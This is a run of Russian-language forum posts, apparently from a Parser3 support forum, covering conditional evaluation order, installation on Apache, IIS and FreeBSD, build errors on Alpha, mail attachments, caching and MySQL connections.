вариант №2 - тоже не работает, т.к. ... причина \"неисправности\" понятна только тем, кто в детстве читал буквари по С++ и всем остальным искушённым программерам :)\
[code]\
@main[]\
$str[]\
^if(^str.pos[ABC]>0 && def $str){\
YES	\
}{\
NO	\
}\
[/code]\
\
А вот вариант №3 - уже работает (\"от перестановки мест слагаемых\" оказывается результат меняется)!\
[code]\
@main[]\
$str[]\
^if(def $str && ^str.pos[ABC]>0){\
YES	\
}{\
NO	\
}\
[/code]\
\
Если честно, я сам вчера на эти грабли наступил (целый час на это убил) - и в SQL ошибки искал, и что только не делал. Оказалось, что из формы одно поле приходило пустым, а я в нём скал символ \"@\" и проверял на пустоту 2-м способом. И промучался бы до сих пор, если бы не вспомнил старый добрый C++!!!\
(А в хелпе к парсеру этой фичи нет - по крайней мере я не нашёл)\
Хотя нет - про приоритеты кое-что написано, но для простых смертных в хелп стоило бы добавть примеры иллюстирующе эти вещи.\
Как считаете - стоит прописать этот фокус в хелп или пусть все \"не искушённые\" лбы бьют в кровь и форум терзают :)???\
"
"8226","[b]/home/sites/site933/web/parser/auto.p[/b] - это главный конфигурационный файл, по-моему, для него @conf в первой строке - нормально.\
[b]/home/sites/site933/web/parser/[/b] - не корень веб-пространства, а директория, в которую установлен Парсер.\
\
По замечаниям Лужниковского:\
 1. Метод @conf[] не описывается ни в одном из других файлов.\
 2. Вызовов ^conf[] нигде нет.\
 3. Вызовы через USE этого auto.p также не используются, впрочем и USE не используется вообще.\
\
На сервере корень веб-пространства - [b]/home/sites/site933/web/[/b]\
Кроме директории, в которой лежит парсер, есть только файл [b]index.html[/b], содержащий код:\
[code]\
<html>\
</html>\
[/code]"
"8227","для очистки совести я воспроизвёл описанную вами структуру каталогов, однако ошибки не получил.\
doublecheck?"
"8228","Сергей, я не понял, чего вы не поняли.\
\
в доке есть описание приоритетов, и, как этого можно ожидать без чтения букварей, def, конечно, приоритетнее &&.\
\
что && не вычисляет свой второй операнд, когда первый false,\
что || не вычисляет свой второй операнд, когда первый true,\
не написано, и это можно подписать, \
\
однако неясно, как и что нанесло кровь на ваш лоб?\
"
"8229","Да с приоритетами всё ясно и разобрался я со всем сам!\
\
PAF>что && не вычисляет свой второй операнд, когда первый false,\
PAF>что || не вычисляет свой второй операнд, когда первый true,\
PAF>не написано, и это можно подписать, \
\
Вот видите, действительно, не написано.\
А что можно \"подписать\" это в доку, то лично я только ЗА!"
"8230","вижу. и что? откуда кровь? = как эта недообъяснённость помешала жить и повлияла на проверки? они что полностью, что не полность вычисляй, дают одно и то же… булева алгебра  и всё такое…"
"8231","Да проблема была не с булевой алгеброй и даже не с приоритетами - тут всё относительно просто и про это хорошо написано (и в документации к парсеру в том числе). \
Проблема была в том, как более изящно (\"в одну строчку\") написать рабочий код, определяющий можно ли использовать тот или иной оператор. Если мы помешаем в логическое выражение до \"&& def переменная\" оператор, который может вызвать ошибку (например, поле формы пусто, а мы пытаемся в нём что-то искать), то мы ошибку и получим.\
Если навернуть вместо нормально кода:\
[code]\
@main[]\
$str[]\
^if(def $str && ^str.pos[ABC]>0){\
YES	\
}{\
NO	\
}\
[/code]\
\
вот такой 3-х этажный через вложенные IF:\
[code]\
@main[]\
$str[]\
^if(def $str){\
^if(^str.pos[ABC]>0){\
YES	\
}{\
NO	\
}\
}{\
переменная не определена\
}\
[/code]\
то всё будет работать как трактор - и никакой булевой алгебры вообще не надо (ни and, ни or, ни xor), но согласитесь, что красивее написать код в одну строчку, чем писать тоже самое на весь экран. Вы как хороший программист, наверное, полностью разделяете мою точку зрения на этот счёт.\
Я думаю, что мы с Вами говорим об одном и том же и друг друга прекрасно понимаем, поэтому предлагаю данную тему закрыть :). Я получил от Вас исчерпывающий ответ на свой вопрос, чем вполне удовлетворён. Спасибо.\
Желаю удачи!"
"8232","win98, запускаю, получаю что-то типа \"no such file or directory, actual filename lala.html_3Fa_3D1_26b_3D2\""
"8233","он так и должен писать. Если хочешь, что-бы тебе параметры обрабатывали, ставь веб-сервер. ;-)"
"8234","теперь всплывающие окошки буду делать из любого положения и какие необходимо, СПАСИБО!"
"8235","День добрый!\
Сделал сабж по инструкции, однако в итоге получил 403 еrrоr \"Forbidden\". Поставил везде права по 700, не помогло... Какие надо права ставить на все файлы? Кстати какие права должны быть у .htaccess? :)\
Извините за внимание, спасибо :)"
"8236","В работающий метод отправки сообщений почтой (^mail:send[сообщение]) добавил строку:\
\
$.file[^file::load[binary;/file.zip]]\
\
и получаю ошибку:\
\
(file) has no string representation...\
\
Пример из документации приводит к тому же результату...\
Подскажите пожалуйста!\
"
"8237","если заметили, формат параметров ^mail:send в версии 3.0.0005 немного изменился, став более логичным и понятным.\
\
или списывайте новый пример целиком, или целиком читайте вашу копию старой документации [старый формат какое-то время будет поддерживаться, но никак не смесь старого с новым, как вы пытаетесь]."
"8238","Спасибо! :)\
\
(а то-то я смотрю в доке ^mail описан как-то проще, думаю откуда я такие навороты в коде когда-то написал... :)\
\
Я надеюсь старый формат ^mail и других изменных методов будет поддерживаться в новых релизах Parser'a, или формат методов будет меняться не часто.\
\
Спасибо за ответ!"
"8239","а к каталогу, надо смотреть файлы httpd.conf и .htaccess на предмет настроек доступа к документам каталога."
"8241","Господа, обьясните толком что такое есть Дарвин?\
\
Это МакОС под х86??? Этож круто тогда..."
"8242","такая ситуация часто возникает при отсутствии документа по умолчанию в каталоге при запрещенном листинге каталога (в Options для этого каталога не стоит нужная опция или All и опции AllowOverride не позволяют переопределение этого параметра в .htaccess) в случаях обращения к каталогу с конечным / в URL"
"8244","The stability of Mac OS X begins with Darwin, an Open Source, UNIX-based foundation. Darwin is a complete BSD UNIX implementation, derived from the original 4.4BSD-Lite2 Open Source distribution. Darwin uses a monolithic kernel based on FreeBSD 3.2 and the OSF/mk Mach 3, combining BSD’s POSIX support with the fine-grained multithreading and real-time performance of Mach. Darwin also provides a complete shell environment based primarily on NetBSD 1.4, featuring popular UNIX scripting languages such as tcsh, bash and perl; utilities including ls, grep and top; editors like sed, vi and emacs; as well as services such as ftp, apache and ssh.\
\
The Darwin command-line interface is accessible from Mac OS X via the Terminal application in /Applications/Utilities. Further, Darwin’s modular design lets developers dynamically load such things as device drivers, networking extensions, and new file systems.\
\
за подробностями к Лужниковскому."
"8246","читать FAQ тут http://developer.apple.com/darwin/projects/darwin/faq.html"
"8249","как измерить средствами парсера время создания страницы. может какая скрытая переменная есть?"
"8250","давно есть такое:\
    !$status:rusage hash\
        !utime user time used\
        !stime system time used\
        !maxrss max resident set size\
        !ixrss integral shared text memory size\
        !idrss integral unshared data size\
        !isrss integral unshared stack size\
\
не вносилось в документацию, я ждал, когда кто-нибудь спросит об этом.\
есть не на всех платформах [точно нет на win32].\
\
а на прошлой неделе в в CVS появилась версия, в которой можно самому замерять время выполнения sql запросов.\
\
\
"
"8252","о! надо посмотреть."
"8253","stime и utime?"
"8254","После установки парсера зарегистрировал его в реестре. \
Для этого в командной строке выполнил команду: regsvr32 msxml3.dll. \
запустил утилиту xmlinst.\
Вот и все! Никаких ошибок не выдавалось 8-|"
"8255","а надо просто установить. Вы же, как матерый партизан, не говорите нам какой у вас веб-сервер и как вы его ставите."
"8257","Опа, а я не зяню какая разница.\
Наверное от майкрософт!?!\
Вы не можете определить по тому как я его устанавливал, что это ? :)"
"8258","В комментариях к хелпу не работает ссылка… /docs/lang/install4apachemodule2."
"8260","Пытаюсь прикрепить к письму рассылаемому ^mail файл полученный из  формы\
\
<input type=\"file\" name=\"file_1\">  (enctype=\"multipart/form-data\")\
\
\
получаю ошибки...\
Подскажите как это можно реализовать?\
Как вообще можно обработать полученные данные ($form:file_1)?"
"8262","Прочитал в документации:\
\"Установка Parser на веб-сервер IIS 4.0 или новее \"\
\
Все сделал как написано.\
Теперь браузер выдает сообщение:\
\"Не найден указанный модуль\"\
\
Что это значит? Как узнать какой модуль?\
\
Спасибо :)"
"8263","самое интересное что без него тоже работает если только прописать строку в явном виде (/work/) в самом операторе !!!!\
а если передаем переменную то неважно есть http:// или нет - не преходит никуда :((("
"8265","вероятно, вы не положили xml библиотеки в каталог к parser3isapi.dll"
"8266","Системное время - время работы системы на конкретным заданием\
Пользовательское время - реальное время работы\
Пользовательское сильно больше ибо система многозадачна и надо делать в это же время еще что-то помимо этой конкретной задачи. \
\
Интагральные величины можешь не смотреть - они совсем не интересны благодаря своей интегральности, то бишь, \"помноженности\" на время ;-)"
"8267","Установка Parser на веб-сервер IIS 4.0 или новее \
 \
\
1.   Запустите Management Console, нажмите на правую кнопку мыши на названии вашего веб-сервера и выберите Properties. \
\
2.   Перейдите на вкладку Home directory и в разделе Application settings нажмите на кнопку Configuration… \
\
3.   В появившемся окне нажмите на кнопку Add. \
\
4.   В поле Executable введите полный путь к файлу parser3.exe или parser3isapi.dll. \
\
5.   В поле Extension введите строку .html. \
\
6.   Включите опцию Check that file exists. \
\
7.   Нажмите на кнопку OK. \
\
Брать нужные файлы из http://parser.ru/download/"
"8269","Если уж читать, то сначала: http://developer.apple.com/darwin/\
Есть под x86, но без Aqua ;-)\
Очень близок по духу к BSD (ибо из нее и вырос).\
На x86 ставить не стоит ;-) Лучше уж Linux..."
"8270","спасибо!\
\
ещё один момент: эти значения можно вызывать в любом месте страницы или как?"
"8272","[code]\
man getrusage\
[/code]\
\
stime = время, сколько система читала ваши файлы, каталоги, библиотеки\
utime = [b]чистое[/b] время, сколько думал сам parser, оно [b]не[/b] включает время, когда работали другие задачи. тут вы смотрите, как сильно тормозят ваши расчёты.\
\
здесь не хватает времени, как долго работал sql сервер, поскольку он не учтён ни там ни там. запрос ждал ответа, при этом процесс находился в состоянии sleep, которое тут не учтено.\
\
в cvs есть вариант, который позволяет воспользоваться более точным таймером, чем даёт date. так на [b]незагруженной[/b] машине можно оценить потери времени в sql запросах."
"8274","Достаточно определить переменную окружения QUERY_STRING"
"8275","Все так и есть. Заработало."
"8276","Здравствуйте !!!\
У меня FreeBSD4.5 и Apache2.0.43 .\
По инструкции установил Parser3 .\
После выполнения первого примера про меню навигации получаю в браузере :\
Not Found\
The requested URL /usr/local/apache2/cgi-bin/parser3.cgi/index.html was not found on this server.\
В логе сервера запись :\
File does not exist: /usr/local/apache2/htdocs/usr\
Подскажите, пожалуйста, как мне это обойти.\
Может это .htaccess или httpd.conf виноваты.\
В FAQ по установке было написано про то, что подразумевается, что /cgi-bin указывает на каталог, прописаный в ScriptAlias в httpd.conf.\
Можно прокомментировать это по-проще.\
Заранее Спасибо!\
\
"
"8277","Точне, может, не только в нем.\
Без примеров сложно.\
Допустим, неправильный AllowOverride...\
"
"8278","Спасибо за ответ.\
Возникает вопрос, а какой AllowOverride правильный?\
Я еще настройки по умолчанию здесь не менял.\
Может в это дело?"
"8279","set QUERY_STRING=\"a=1&b=2\""
"8280","А может еще что не так... ;-)"
"8285","нет необходимости, нет возможности.\
у студии не было необходимости.\
кто знает, какие функции вызвать, пусть пришлёт мне почтой = будет."
"8286","судя по всему вы в action зачем-то написали полный дисковый путь, а надо виртуальный:\
[code]\
Action parsed-html /cgi-bin/parser3.cgi\
[/code]"
"8287","хотя во втором апаче можно сделать так что документ может проходить через несколько output filters и соответственно парсер и php должны быть в виде модулей работающих как output filter. Если есть желание то займись написанием этих фильтров."
"8288","Я не работаю с парсером, но тем не менее надеюсь на ответ.  Сюда написал, так как полагаю, что сюда заходят люди, знающие о системах управления контентом достаточно много. \
\
Имеется модель ядра динамического сайта.\
Среда разработки PHP + MySQL + Apache.\
\
Составляющие:\
1. Таблица с полями URL | ID | Cachable? (предназначена для преобразования URL в ID)\
2. Таблица с полями ID | TITLE | META .... (описание страниц сайта)\
3. Таблица с полями PAGE_ID | DATA_TITLE ... (описывает непосредственно составляющие контента)\
\
Текст и картинки хранятся в файлах. Обработку URL делает mod_rewrite.\
Варианты кэширования (поле Cachable): полное, частичное (все кроме модулей), выключено.\
Форум, банерокрутилка вынесены в модули, имеющие свои таблицами.\
\
Пока это дело у меня расписано только в тетради схемеми, хотелось бы услышать\
совет знающего человека, так как подобных разработок я еще не делал. Может схема\
ущербная или есть какие-нибудь подводные грабли?\
\
И еще маленький вопросик. Время генерации динамической страницы равное 0,04 сек. это сильно\
плохо?"
"8289","Спасибо за ответ.\
Когда я пишу Action parsed-html /cgi-bin/parser3.cgi ,\
у меня в браузере\
Internal Server Error\
The server encountered an internal error or misconfiguration and was unable to complete your request.\
Please contact the server administratorand inform them of the time the error occurred, and anything you might have done that may have caused the error.\
More information about this error may be available in the server error log.\
А в журнале сервера соответственно :\
Premature end of script headers: parser3.cgi\
Хотя скрипт parser3.cgi имеет права на выполнение.\
Какие и где нужно поставить права?\
\
"
"8290","Кто можети подсказать как работать с image. Я хотел бы хранить картинки на MS SQL в таблице тип поля котой - image.\
T.е. суть вопроса как полученное в результате запроса ставить в объкт класса image\
Еще интересно как бы и делать insert.\
Кто имеет такой опыт подскажите."
"8294","бинарик то собран для x86, а есть ли совместимость двоичных файлов между x86 и Alpha для FreeBSD я не знаю, но думаю что вряд ли. Собери его сам под Alpha из исходников."
"8296","Я же только вчера parser3 попытался поставить.\
Попробую собрать сейчас из исходников.\
Какие при сборке есть подводные камни?"
"8297","Под Win32 у меня без проблем собирается, под Unix не пробовал, не знаю. Поищи по форуму."
"8298","Вот что получилось :\
# ./configure\
нормально\
# make\
Making all in src\
Making all in include\
Making all in main\
c++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/pcre -I../../src/lib/libltdl    -g -O2 -c compile.C\
cc1plus: warning:\
***\
***     The -O2 flag TRIGGERS KNOWN OPTIMIZER BUGS ON THIS PLATFORM\
***\
\
In file included from ../../src/include/pa_opcode.h:15,\
                 from compile.C:10:\
../../src/include/pa_array.h: In method `int Array::get_int(int) const':\
../../src/include/pa_array.h:83: reinterpret_cast from `void *' to `int' loses precision\
In file included from ../../src/include/pa_request.h:14,\
                 from compile.C:11:\
../../src/include/pa_hash.h: In method `int Hash::get_int(const String &) const':\
../../src/include/pa_hash.h:84: reinterpret_cast from `void *' to `int' loses precision\
*** Error code 1\
\
Stop in /usr/home/vav/files/parser/parser-3.0.0005/src/main.\
*** Error code 1\
\
Stop in /usr/home/vav/files/parser/parser-3.0.0005/src.\
*** Error code 1\
\
Stop in /usr/home/vav/files/parser/parser-3.0.0005.\
"
"8300","забавно. если раздражает warning про -O2, сделаейте глобальную замену этого на пустое место по configure.\
\
что до\
reinterpret_cast from `void *' to `int' loses precision\
\
я не очень понял, там что, разные размеры void* и int?\
если можете, напишите тестик с [code]printf(\"%d %d\", sizeof(void*), sizeof(int))[/code]?"
"8301","внимание, вопрос: как эти картинки попадут пользователю?\
самый быстрый способ, это когда они лежат на диске. иначе на [b]каждую[/b] картинку будет требоваться parser, который будет её из базы выковыривать, что будет изрядно грузить и веб- и sql- сервера, без большой пользы.\
\
проверенное временем решение: в базе храните только информацию о наличии картинки, плюс, возможно, её размеры, на диске храните саму картинку, да не забудьте, что разные пользователи могут присылать одноименные файлы myhappyface.jpg, т.е. имя файла должно быть функцией от id записи в таблице…"
"8302","Кто-нибудь собирал parser3 для процессоров Alpha?\
У меня не получается.\
После #make пишет:\
In file included from ../../src/include/pa_opcode.h:15,\
                 from compile.C:10:\
../../src/include/pa_array.h: In method `int Array::get_int(int) const':\
../../src/include/pa_array.h:83: reinterpret_cast from `void *' to `int' loses precision\
In file included from ../../src/include/pa_request.h:14,\
                 from compile.C:11:\
../../src/include/pa_hash.h: In method `int Hash::get_int(const String &) const':\
../../src/include/pa_hash.h:84: reinterpret_cast from `void *' to `int' loses precision\
*** Error code 1\
И останавливается...\
\
"
"8303","просто жутко любопытно и если размеры различаются, видать там применяется какая-нибудь схема мультиплексирования адресов."
"8304","Извините, я ведь не хакер, я только учусь.\
Как эту программулину сделать мне сразу на ум не приходит.\
Может подскажете, как ее сделать и запустить?\
Спасибо."
"8305","В Си то я понимаю, но не на FreeBSD.\
Под Win обычно программил.\
Так как мне это скомпилировать?\
Или это прямо из оболочки можно запустить?"
"8306","а надо написать программу типа Hello world с вставкой туда строчки printf(\"%d %d\", sizeof(void*), sizeof(int)) и запустить её."
"8307","#include<stdio.h>\
void main(void)\
{\
printf(\"%d %d\", sizeof(void*), sizeof(int));\
}\
\
Так?"
"8310","а хотя то что размер указателя под Alpha = 8 это не удивительно, процессор то 64 разрядный, но вот почему размер int они сделали 4 непонятно. Под Win32 размер указателя = размеру int = 4. Дальше я ничего не могу сказать, это к ПАФу."
"8312","Подскажите, пожалуйста, кто имел дело с Парсером установленным на IIS.\
Проблема в том, что процесс, создаваемый Парсером, постепенно забирает все больше и больше оперативной памяти сервера, но не освобождает ее. Так и происходит пока, память не кончится ...\
\
Как это дело побороть, может IIS надо как-то настроить?\
"
"8313","иначе IIS благополучно зажимает память у OS, считая, что она ему нужнее."
"8314","Ты имеешь в виду закладку \"Performance\" свойств веб-сайта.\
Там уже давно стоит \"Fewer then 10,000\", а как там можно уменьшить ведь там всего три варианта:\
Fewer than 10,000\
Fewer than 100,000\
More than 100,000\
\
В любом случае я не могу уменьшить количество поситителей в день, дело в том что у меня около 300 уникальных посетителей, и около 3000 визитов в день. Причем сайт набирает популярность, и скоро поситителей может быть около 10 тыс.\
Более того сайт игровой и поэтому во время игры каждый юзер обновляет его каждые 5 секунд, в течении нескольких часов.\
\
Так это что получается, 10 тыс. это предел для парсера!!!!\
"
"8315","Под задачу выбирают инструмент.\
Никто не пилит лобзиком доски для того, чтобы крыть крышу.\
\
Если планируется высокая посещаемость сайта - то его изначально строят с расчетом на это - соответствующий канал, соответствующий веб-сервер, соответствующий серверный язык, соответствующий механизм построения сайта.\
\
Все эти компоненты очень важны.\
\
Можно установить немеряно навороченый сервер, написать скрипты на C, но используемыми алгоритмами положить сервер при незначительной нагрузке.\
\
А можно включив кеширование даже для сложных страниц с использованием достаточно высокоуровневых языков скриптования обеспечить хорошую устойчивость к нагрузкам.\
\
Это я к тому, что говорить \"10 тыс. - предел для парсера\" - некоректно.\
\
По твоему вопросу - я не знаю, но мне кажется, что выбирать Win/IIS для случая высокой нагрузки уже не правильно. У кого тут есть memory leak-и я не знаю. Думаю если они имеют место быть в парсере - то ПАФ тоже об этом не знает, т.к. если-бы знал - починил-бы.\
\
Студия в настоящее время очень редко использует хостинг на IIS, поэтому статистики подобной нету.\
\
А на 3 парсере построены и посещаемые сайты (mts, mtv...), к тому-же даже CGI версии обеспечивают требуемую нагрузочную способность. Только там [b]не[/b] IIS :)\
\
P.S. исходные коды открыты.\
"
"8316","Спасибо за детальные комменты. Видимо ошибся форумом."
"8317","а впрочем это мелочь, но все таки плохо.\
Это какая-то дискриминация."
"8319","У него очень <sensored> принцип работы с памятью.\
PAF борется с этим очень давно...\
Проще - отказаться от IIS, чем исправить парсер под нужды IIS.\
Может быть, я и не прав, но лично я не буду им пользоваться. Слишком уж сильна оппозиция..."
"8320","С чего это ты решил, что мы \"пользуем технологию на халяву\"? И с чего ты решил, что технология создана специально для нас? Читая комментарии к багам, можно сразу понять, что парсер развивается в основном так, как это выгодно Студии (это, как мне кажется, особо и не скрывается). Люди, которые пишут парсер, получают за это деньги. И я не думаю, что это какие-то копейки. ;-) Студии выгодно популяризировать технологию, это создаёт дополнительную рекламу, имидж. Студия должна благодарить нас за использования её продуктов. ;-) Мы, как культурные люди, в ответ благодарим Студию, высылая баг-репорты. ;-) И теперь главный вопрос -- с какой стати Мы должны переводить документацию \"на халяву\"? И мне бы хотелось, поддержав тов. [i]Sanja[/i], заметить, что электронный перевод не будет хуже того, что сейчас можно встретить в комментариях. :-("
"8323","Мне надо нармальную версию будет скоро туда установить.\
Пашет ли там она?"
"8324","Интересно, почему в Parser не реализованна работа с директориями?\
\
Как я понимаю, это связанно с очень сущесвенными различиями реализации этого механизма в разных ОС, но все-таки, какие планы на этот счет?"
"8325","Парсер создаст директорию, если она не существует, при записи любого файла на диск. Насколько я понимаю удаление или перемещение всех файлов из директории приведет к ее автоматическому уничтожению. \
\
См. например: http://www.parser.ru/docs/lang/filemove.htm\
\
"
"8326","Я бы и с радостью испотльзовать парсер под apache, но еще не написали драйвер для работы с MS SQL Server, из под юниксоидных серверов.\
\
Я, к сожелению, драйвера писать не умею :(\
"
"8327","А почему бы ПАФу заранее не предупредить об этом????"
"8328","дмитрий, согласитесь, если бы проекты были установлены у каждого на его личной машине, то это было бы очень \"удобно\" backup'ить, администрировать, и каждый скриптовальщик должен был бы быть вебмастером.\
\
конечно, организовано иначе.\
\
согласен, это дискриминация, но, согласитесь, глупо тратить время на то, что не нужно. вам нужно: сядьте, почитайте документацию, сделайте, или расскажите подробно мне, сделаю я."
"8329","> мне кажется, что выбирать Win/IIS для случая высокой \
> нагрузки уже не правильно.\
Ты что хочешь сказать, что все сайты с высокой нагрузкой раположены только на юниксоидных серверах. \
Вот тебе контр-пример:\
http://www.microsoft.com\
\
:)"
"8330","для каждой задачи необходимо адекватное решение.\
если все загружаемые вашими посетителями страницы разные, то кэширование, конечно, неприменимо. [уверен, вы о ^cache почитали и подумали]\
\
если бы технолог студии для решения подобной задачи[все страницы разные, кэшировать нельзя] посоветовал бы скриптовальщику применять parser, он бы уволен на следующий день.\
\
предупреждаю остальных: не пишите chat на parser. что нибудь тяжёлое пишете, почитайте о ^cache.\
ожидаете большую нагрузку, спросите вашего сисадмина, что он думает о кэширующих proxy."
"8331","я ему - \
[code]$cookie:${var}[$other_var][/code]\
а он мне -\
[code]parse error, expecting `STRING'[/code]"
"8335","А как собрать parser под Windows2000? Под *nix понятно, но с Windows все гораздо непонятнее..."
"8336","а вы ему \
[code]\
$cookie:$name[$value]\
[/code]"
"8339","Видимо здесь имелось ввиду что они для своих внутренних нужд (финансовые дела) они до сих пор используют AS/400 от IBM. Они пытались перейти на свою платформу для этих нужд, но у них ничего не получилось."
"8340","может я какой-то нестандартный, но для меня под Win проще собрать было нежели чем под Unix.\
\
Чего тут сложного? \
\
1. Грузишь из CVS все исходники и помещаешь их во папке parser3project в корне диска\
2. Открываешь файл проекта в MS Visual C++ и собираешь."
"8341","http://www.microsoft.com/backstage/whitepaper.htm\
\
Можно смотреть и весь этот раздел (http://www.microsoft.com/backstage/) если сидите на microsoft technologies."
"8343","Мне нужно передовать данные в строке Query_String, getom\
Но также мне нужно использовать такую байдень как #имя для пролистывания страницы к нужной части.\
\
пишу #news7?message=3 - не пашет\
\
пишу ?message=3#news7 - тоже не пашет\
\
Все время то, что после ? только передаёться а #имя выкидываеться:(\
\
Подскажите как быть."
"8344","Privet vsem, ktonibud mozhet kinut ssylku na skompilirovannyj parser3 s xml bez disable-foreign-groups?  Zamuchalsa s poiskom vsem library i instaljaciej.\
\
Zaranee spasibo"
"8346","microsoft.ru одно время хостился на Linux ;-))))"
"8347","[code]\
?message=3#news7 \
[code]\
\
должно работать, это #xxxx вообще к серверу не приходит, browser это оставляет себе."
"8349","Ctrl+F \"результат работы кода\"\
\
\
это в вашем случае, как я уже писал, не нужно.\
пишу, чтобы опровергнуть поклёп.\
"
"8353","Люди, помогите. Где у меня ошибка:\
[code]\
$res_str[/xxx/yyy/zzz/]\
$parts[^res_str.match[([\\/])(.+?)[\\/]][gi]]\
^parts.save[parts.txt]\
[/code]\
\
Заранее спасибо!"
"8355","1. не вижу ошибки. загляните в $parts.1\
2. удобнее использовать ^string.lsplit[/]\
"
"8363","Все равно не работает :(\
Напишите, пожалуйста, все действия для настройки Parser под MySql."
"8364","Простите за неграмотность, но что такое CVS и с чем его едят?\
P.S.\
Где можно взять MS Visual C++ и как там работать(документация)?"
"8366","если всё остальное уже настроено, то достаточно перекачать архив с mysql-драйверами для парсера, и положить их в папку lib, которая находится на одном уровне с парсером. Т. е. файлы должны лежать так:\
[code]\
/cgi-bin/parser3/charsets/koi8-r.cfg\
/cgi-bin/parser3/charsets/windows-1251.cfg\
/cgi-bin/parser3/lib/libmySQL.dll\
/cgi-bin/parser3/lib/parser3mysql.dll\
/cgi-bin/parser3/auto.p\
/cgi-bin/parser3/parser3.exe\
[/code]\
В файле auto.p менять ничего не нужно. Все вышеуказанные файлы нужно перекачать из раздела \"скачать\", редактировать ни один из не нужно. Конфигурационные файлы для win32 и unix разные, нужно перекачивать \"правильный\". ;-)"
"8368","Это всё-же заморочки парсера.\
IIS 5.0 + MSSQL 2000 на одной машине с 512 ОЗУ, одним PIII-500. винты IDE.\
Игра была написана на ASP, а не на парсере.\
Всё это дело работало вообще без тормозов, без претензий, не кушало память и т.д.\
В день было уникальных 2000-3000 узеров, хитов под 300-500 тыс. в день.\
Потому - fine tuning IIS-а, плюс разбирайся в парсере, коды-то открыты. Раз уж на нём такое дело сделал....."
"8370","1. http://www.polstra.com/projects/freeware/CVSup/\
2. http://msdn.microsoft.com/vstudio/howtobuy/default.asp"
"8371","и вообще можно поставить вопрос иначе -- если с юникса нельзя пользоваться MS SQL Server, то стоит ли этот самый MS SQL Server использовать вообще? ;-) \
\
Могу посоветовать посмотреть [url=\"http://www.netstat.ru/\"]статистику по хостингу в домене .RU[/url], где в данный момент Windows используют 15.46%, причём Microsoft IIS используют только 12.42%. Помучив калькулятор ([i](12.42/15.46)*100 == 80.33[/i]), можно предположить, что IIS используется только в 80.33% (на win32), так что это далеко не единственный выбор на win32. Прошу читать сообщение внимательно, и не поднимать лишнего флейма по поводу неправильно прочитанных цифр. ;-) "
"8372","Linux -- это даже не операционная система. Я не поверю, что Microsoft Corp. использовала его. \
\
А вот по поводу FreeBSD на hotmail -- знающие люди говорят, что это действительно было так. ;-) \
\
Кстати, хотелось бы заметить, что Microsoft выступает только против GPL, под которой распространяется Linux (да и парсер тоже). Лицензия BSD сильно отличается от GPL, и Microsoft не выступает против неё. \
\
З. Ы. Информация к размышлению: \
http://uptime.netcraft.com/up/graph/?host=www.microsoft.com.ph"
"8373","Есть ситуация: есть интранет системы, в которых какая-то часть изображений должны(!!!) лежать в базе -- под изображением я понимаю не фотку Бритни, а скажем сканированные документы, счета и т.п. -- все это является не просто картинкой, а полноценным объектом, с которым можно спокойно работает и БД и работают пользователи интранета(менеджеры, бухгалтеры и т.д.)(у всех свой уровень понятия работать). \
Напоминаю, что в случае с интранетом нет таких проблем как скорость загрузки, но зато возникает делема о возможности -- потребности использования парсера для создания интранет систем -- и это очень грусно, я бы даже сказал, что плачевно.\
Вообщем я вроде ясно выразился, что есть необходимость иметь изображение не в виде объекта-ссылки в никуда(структура тоже вещь изменчивая), а объект-изображение.\
P.S. PAF, вопрос о картинках из БД я задавал еще в начале(~) форума p3 -- и ты мне кажется ответил, что этот вопрос пощел к тебе в TODO, так что же мне ждать ?"
"8374","Чего-то уже что-то в голове происходит.\
\
Итак, все просто: Есть парсер, есть 1.3 Апач, обычный, не русский, локальный, под Винды. Стоит 3 виртуальных хоста. Делаю все по доке:\
\
Пишу в .htaccess:\
\
AddHandler parser3-handler html \
Action parser3-handler /cgi-bin/parser3.exe \
 \
Кладу в cgi-bin файлик parser3.exe\
\
В ответ получаю в логах:\
\
File does not exist: c:/www/www3/cgi-bin/parser3.exe/index.html\
\
\
В чем бага-то?"
"8376","Прошло 3 месяца а проблемма так и осталась\
может кто ответит на вопрос.\
Если раньше было не столь важно, то сейчас надо срочно решать его\
Можно через АСЮ 2240220"
"8378","Народ, объясните толком, чего такое Дарвин? Это МакОС для х86?\
т. е. я качаю исподники, компилю их (типа без проблем/переписи) и у меня МакОС 10???"
"8379","Товарищи Мудрейшие, к Вам вопрос: как получить из формы переменную типа do.x или auth.login.\
\
Ваш верный ученик Слэш...\
\
%-)"
"8380",":))) размечтался.... это всего лиш ядро для ОС, а то что писала Apple, это не открыто, тем более все технологии как Quartz и т.д. настолько оптимизированы под их архитектуру, что х86 не потянут...\
\
после компиляции ты получишь голую операционку, без малейшего намёка на GUI....   "
"8381","Я только начал изучать parser, т.е. новичок.\
Как на нём писать? Нужна ли для этого специальная программа?Никак не пойму!"
"8385","^connect[mysql://@localhost/]{ \
   ^void:sql{create table proba (id int,ppp text,www text)} \
} \
\
Не получается создать новую базу в корне @localhost!\
Как прописать строку подключения для указания корня?"
"8386","mysql://user:password@localhost/database\
где user и password - имя пользователь и пароль определенные администратором MySQL, а database имя базы к которой производится подключение."
"8387","Люди, хелп!\
Такая конструкция что-нибудь закеширует или я чего-то непониамю??"
"8388","Уважаемые гуру и монстры парсера обьясните такую ситуацию:\
Есть виртуальный хостинг, на нем парсер есть ошибка которая выкидывается при подключении к мускулю \
driver failed to initialize client library 'libmysqlclient.so', can not open the dynamic link module\
./lib/libparser3mysql.so.\
Насколько я понял проблема связана с тем что на хостинге не хватает библиотеки libmysqlclient.so. Покопав форум нашел сие изделие залил к себе в ./lib/ - неживет, указал в auto.p полный дисковый путь - опять не живет. Может я что не так делаю?\
"
"8389","пустую строку, т.к. Парсер записывает в кэш результат работы кода, а не свои переменные ... Таким образом в течение 600 секунд этот код просто не будет выполняться."
"8390","\
Проверил, хост именно тот, который надо."
"8393","Версии файла [i]libmysqlclient.so[/i] для разных операционных систем и для разных версий различаются, т. к. это бинарный код. Скорее всего вы перекачали не ту версию. \
\
См. сообщ. [url=\"./?id=6667\"]* Если на сервере установлен MySQL сервер, то есть и libmysqlclient.so, Constantine [16.09 01:29][/url]"
"8394","К сообщению тов. [i]Sumo[/i] можно добавить, что теоретически приведённый Вами код следует писать так: \
[code]\
$test[^cache[/temp/temp/$tempname](600){^table::sql{$SQL}}]\
[/code]"
"8398","попадание в todo не означает, что будет сделано в первую очередь. и вообще, столько разговоров, кто нибудь пусть возьмёт исходники и сделает хоть что-то, из так уж нужного, с которым торможу я.\
\
как-никак дока по исходникаи имеет место. и поддержка с моей стороны тоже."
"8399","Да, тоже сталкивался с такой штукой.\
Если есть желание кэшировать переменные - можно написать простенький макрос, который будет записывать их в текстовики."
